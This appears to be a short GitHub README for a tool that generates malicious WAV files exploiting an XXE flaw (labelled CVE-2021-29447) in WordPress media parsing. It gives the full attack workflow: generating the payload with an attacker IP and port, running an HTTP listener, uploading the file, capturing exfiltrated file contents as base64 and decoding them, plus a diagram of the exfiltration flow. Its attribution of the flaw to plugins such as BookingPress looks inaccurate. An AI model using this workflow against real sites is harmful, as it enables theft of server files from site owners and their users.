0xricksanchez/cve-2021-29447A XXE payload generator
Generates malicious WAV files that exploit XXE vulnerabilities in WordPress plugins parsing iXML metadata chunks (e.g., BookingPress < 1.0.11).
# Generate exploit files
python3 expl.py -i 10.10.14.204 -p 9200
# Start HTTP server
python3 -m http.server 9200
# Upload exploit.wav to target
# Monitor logs for data exfiltration
# Decode exfiltrated data
echo "BASE64_STRING" | base64 -d
┌──────────┐ 1. Upload ┌──────────┐
│ Attacker │ ───exploit.wav──>│ Target │
└──────────┘ └──────────┘
▲ │
│ │ 2. Parse XML
│ │
│ 3. GET /xxe.dtd │
│<─────────────────────────────┘
│
│ 4. GET /?p=base64_data
│<─────────────────────────────┐
│ │
└─ Decode and read file │